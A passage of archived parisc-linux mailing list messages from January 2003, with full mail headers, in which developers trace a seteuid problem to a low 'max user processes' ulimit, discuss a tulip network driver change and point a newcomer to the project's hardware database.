List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17548

[oops, forgot to send the last message to the list -- i had asked Joel
for his ulimit settings]

> Nothing that is not std (AFAIK & IIRC):
> 
> # ulimit -a
> core file size        (blocks, -c) 0
> data seg size         (kbytes, -d) unlimited
> file size             (blocks, -f) unlimited
> max locked memory     (kbytes, -l) unlimited
> max memory size       (kbytes, -m) 5000
> open files                    (-n) 1024
> pipe size          (512 bytes, -p) 8
> stack size            (kbytes, -s) 8192
> cpu time             (seconds, -t) unlimited
> max user processes            (-u) 20
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> virtual memory        (kbytes, -v) unlimited

That's the reason..... if you do 'ulimit -u unlimited' (or at least a
bigger number) you should be ok.

randolph


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Thu, 30 Jan 2003 09:28:59 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3E35C33F00000975@ocpmta3.freegates.net>
References: <20030130075403.GK20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622163 20799 80.91.229.3 (22 Nov 2014 02:09:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 01:29:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C17EB482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 01:29:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18eA4B-0004hH-00; Thu, 30 Jan 2003 09:28:59 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 30 Jan 2003 09:28:59 +0100
In-Reply-To: <20030130075403.GK20940@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17549

Randolph,

...
>> cpu time             (seconds, -t) unlimited
>> max user processes            (-u) 20
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> virtual memory        (kbytes, -v) unlimited
>
>That's the reason..... if you do 'ulimit -u unlimited' (or at least a
>bigger number) you should be ok.
>
ulimit -u unlimited 

(just for fun I can download to 64 for this test case; is there any means
to determine a reasonnable value (unstable seems to set it to 999)?)

Thanks again for all,
    Joel

PS: Where is defined this default?

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: AW: AW: [parisc-linux] Installing on a HP Server D200/210 Console Problem
Date: Thu, 30 Jan 2003 09:44:35 +0100
Organization: ESIEE
Lines: 35
Approved: news@gmane.org
Message-ID: <20030130094435.7d2f8ebc.varenet@esiee.fr>
References: <65BE8DA1757BDC49AE257B67560C8C96012A3378@ls203.land-sbg.gv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622163 20800 80.91.229.3 (22 Nov 2014 02:09:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Lehner Hartwig" <hartwig.lehner@salzburg.gv.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 01:44:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE0D1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 01:44:40 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030130084438.XPOT23710.viefep14-int.chello.at@Bibou>;
          Thu, 30 Jan 2003 09:44:38 +0100
In-Reply-To: <65BE8DA1757BDC49AE257B67560C8C96012A3378@ls203.land-sbg.gv.at>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17550

On Thu, 30 Jan 2003 08:57:09 +0100
"Lehner Hartwig" <hartwig.lehner@salzburg.gv.at> wrote:

> Hello
> 
> Thanks a lot for all the trouble. It is obvious, that I am new in the
> business and make mistakes. I did search the sites, I did find thr HOW
> TO but it only talks of workstations and not any server I know.
Hmm, I wonder where this is stated. Maybe the Intro has to be rewritten.
Indeed it deals with _any supported_ machine. If you look at the PALO
section you'll see an A500 console output. A500 is obviously not a
workstation ;)
http://pateam.esiee.fr/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/paloearlyboot.html
> 
> But in future I want to do it right, so I would ask you to tell me who
> or what is m-1 so that I can let others participate.
'm-l' is a short way to say "Mailing-List". Therefore, when you answer a
mail posted on the mailing list, do a "Reply All" (i guess that'd be
"Antwort Alles" in German).
> 
> One last remark, there is a lot information on Linux for PARISC, but
> to find what one is looking for is very time consuming and affords a
> lot of experience. For a newcomer a very tedious, frustrating job. So
> please forgive my mistakes on ettiquete.
Well, somehow it's a good point to be able to find a lot of information ;)
Anyway, a good beginning would definitly be the official PA/Linux
website (parisc-linux.org).

> Thanks
You're welcome.

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 11:59:01 +0100
Lines: 196
Approved: news@gmane.org
Message-ID: <03Jan30.121351cet.119060@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2C84E.98DA1AB0"
X-Trace: ger.gmane.org 1416622164 20802 80.91.229.3 (22 Nov 2014 02:09:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:24 +0000 (UTC)
Cc: Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: "'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 03:59:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id F351F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 03:59:12 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119060>; Thu, 30 Jan 2003 12:13:51 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17551

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2C84E.98DA1AB0
Content-Type: text/plain;
	charset="iso-8859-1"

Why did nobody point to the hardware database: http://hwdb.parisc-linux.org/

There are some users of a D210 reported there:
http://hwdb.parisc-linux.org/view.php3?type=machine&name=D210

They will know some ins and outs.

CBee


--
C. Beerse
mailto:c.beerse@torex-hiscom.nl
talkto:+31(71)5256660


> -----Original Message-----
> From: jsoe0708@tiscali.be [mailto:jsoe0708@tiscali.be]
> Sent: donderdag 19 december 2002 18:38
> To: grundler@dsl2.external.hp.com
> Cc: Ed Schaller; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
> 
> 
> Hi Grant,
> 
> >
> >On Tue, Dec 17, 2002 at 08:12:03AM +0100, jsoe0708@tiscali.be wrote:
> >> Just to avoid you loose time here is a diff:
> >...
> >> -	if (ee_data[27] == 0) {		/* No valid media table. */
> >> +	if (ee_data[27] == 0 || ee_data[ee_data[27]] == 0) {  
> /* No valid media
> >> table. */
> >
> >Like I suspected, backing out this change made add-on boards 
> work again.
> >I've reverted that change in 2.4.20-pa15 along with a traps.c change.
> >Please apply by hand and try the 4-port again.
> >
> Sorry, I was too tired yesterday evening and have not time today :-(.
> 
> But I see that Ed successfully tested. Great (I will also 
> test it, ... next
> year :))
> 
> Thanks for all and let me wish you and your families a Merry 
> Christmas and
> a Happy New Year,
>     Joel
> 
> 
> 
> **************************************************************
> ******************
> Controlez mieux votre consommation Internet...surfez Tiscali 
> Complete...http://tiscali.complete.be
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

------_=_NextPart_001_01C2C84E.98DA1AB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] quad tulip now not functional in =
2.4.20</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Why did nobody point to the hardware database: <A =
HREF=3D"http://hwdb.parisc-linux.org/" =
TARGET=3D"_blank">http://hwdb.parisc-linux.org/</A></FONT>
</P>

<P><FONT SIZE=3D2>There are some users of a D210 reported there: <A =
HREF=3D"http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3DD21=
0" =
TARGET=3D"_blank">http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&=
name=3DD210</A></FONT>
</P>

<P><FONT SIZE=3D2>They will know some ins and outs.</FONT>
</P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>C. Beerse</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"mailto:c.beerse@torex-hiscom.nl">mailto:c.beerse@torex-hiscom.nl=
</A></FONT>
<BR><FONT SIZE=3D2>talkto:+31(71)5256660</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: jsoe0708@tiscali.be [<A =
HREF=3D"mailto:jsoe0708@tiscali.be">mailto:jsoe0708@tiscali.be</A>]</FON=
T>
<BR><FONT SIZE=3D2>&gt; Sent: donderdag 19 december 2002 18:38</FONT>
<BR><FONT SIZE=3D2>&gt; To: grundler@dsl2.external.hp.com</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: Ed Schaller; =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [parisc-linux] quad tulip now not =
functional in 2.4.20</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi Grant,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;On Tue, Dec 17, 2002 at 08:12:03AM +0100, =
jsoe0708@tiscali.be wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&gt; Just to avoid you loose time here is a =
diff:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&gt; -&nbsp; if (ee_data[27] =3D=3D 0) { =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* No valid media table. =
*/</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&gt; +&nbsp; if (ee_data[27] =3D=3D 0 || =
ee_data[ee_data[27]] =3D=3D 0) {&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; /* No valid media</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&gt; table. */</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Like I suspected, backing out this change =
made add-on boards </FONT>
<BR><FONT SIZE=3D2>&gt; work again.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;I've reverted that change in 2.4.20-pa15 =
along with a traps.c change.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Please apply by hand and try the 4-port =
again.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Sorry, I was too tired yesterday evening and =
have not time today :-(.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; But I see that Ed successfully tested. Great (I =
will also </FONT>
<BR><FONT SIZE=3D2>&gt; test it, ... next</FONT>
<BR><FONT SIZE=3D2>&gt; year :))</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks for all and let me wish you and your =
families a Merry </FONT>
<BR><FONT SIZE=3D2>&gt; Christmas and</FONT>
<BR><FONT SIZE=3D2>&gt; a Happy New Year,</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Joel</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
**************************************************************</FONT>
<BR><FONT SIZE=3D2>&gt; ******************</FONT>
<BR><FONT SIZE=3D2>&gt; Controlez mieux votre consommation =
Internet...surfez Tiscali </FONT>
<BR><FONT SIZE=3D2>&gt; Complete...<A =
HREF=3D"http://tiscali.complete.be" =
TARGET=3D"_blank">http://tiscali.complete.be</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; _______________________________________________<=
/FONT>
<BR><FONT SIZE=3D2>&gt; parisc-linux mailing list</FONT>
<BR><FONT SIZE=3D2>&gt; parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux" =
TARGET=3D"_blank">http://lists.parisc-linux.org/mailman/listinfo/parisc-=
linux</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2C84E.98DA1AB0--


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Thu, 30 Jan 2003 14:03:43 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <3E35C33F00000B40@ocpmta3.freegates.net>
References: <3E35C33F00000975@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622164 20803 80.91.229.3 (22 Nov 2014 02:09:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 06:03:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DA8D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 06:03:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18eEM5-0005dR-00; Thu, 30 Jan 2003 14:03:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 30 Jan 2003 14:03:43 +0100
In-Reply-To: <3E35C33F00000975@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17552

PA,
>...
>>> cpu time             (seconds, -t) unlimited
>>> max user processes            (-u) 20
>>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> virtual memory        (kbytes, -v) unlimited
>>
>>That's the reason..... if you do 'ulimit -u unlimited' (or at least a
>>bigger number) you should be ok.
>>
>ulimit -u unlimited 
>
>(just for fun I can download to 64 for this test case; is there any means
>to determine a reasonnable value (unstable seems to set it to 999)?)
>
>
>PS: Where is defined this default?
>
It seems to be my bad ;_().
It appears in my own apt-get update Log that I use the default (ie N) when
the update procedure of 'libpam-modules' dpkg proposed me to change '/etc/security/limits.conf.

Sorry and thanks again for your support,

Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 08:45:46 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <03013008454600.00780@localhost.localdomain>
References: <03Jan30.121351cet.119060@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622164 20808 80.91.229.3 (22 Nov 2014 02:09:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:24 +0000 (UTC)
Cc: Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: "Beerse, =?iso-8859-1?q?Corn=E9?=" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 07:51:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 920B5482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 07:51:41 -0700 (MST)
Original-Received: (qmail 13170 invoked by uid 0); 30 Jan 2003 14:51:36 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.506836 secs); 30 Jan 2003 14:51:36 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.217.144)
  by mail.goquest.com with SMTP; 30 Jan 2003 14:51:35 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <03Jan30.121351cet.119060@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17553

On Thursday 30 January 2003 04:59 am, Beerse, Corn wrote:
> Why did nobody point to the hardware database:
> http://hwdb.parisc-linux.org/
>
> There are some users of a D210 reported there:
> http://hwdb.parisc-linux.org/view.php3?type=machine&name=D210
>
> They will know some ins and outs.
>
> CBee
Good point...

Perhaps because it is refered to as a "hardware database" ?
Using something called a "hardware database" to find persons
experienced in a certain machine can indeed be very helpful;
but not an obvious use going by its name.

"tweaking" a web page or two to make this usage clear
to the newcomer might help.

Who would be a good contact for such a change?

Mike


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 30 Jan 2003 07:02:08 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20030130150208.GM20940@tausq.org>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622165 20815 80.91.229.3 (22 Nov 2014 02:09:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:25 +0000 (UTC)
Cc: "Beerse, Corn?" <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	grundler@dsl2.external.hp.com, Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S.Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:21:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C62E9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 Jan 2003 08:21:31 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C2927CDA56; Thu, 30 Jan 2003 07:02:08 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <03013008454600.00780@localhost.localdomain>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17554

> Who would be a good contact for such a change?

there's an email address on many of the hwdb pages
(hwdb@parisc-linux.org). That'll be a good place to start. I believe it
currently points to Thibaut :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hardware Database & User Contacts
Date: Thu, 30 Jan 2003 09:21:49 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <03013009214901.00780@localhost.localdomain>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013008454600.00780@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622165 20820 80.91.229.3 (22 Nov 2014 02:09:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 30 08:27:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
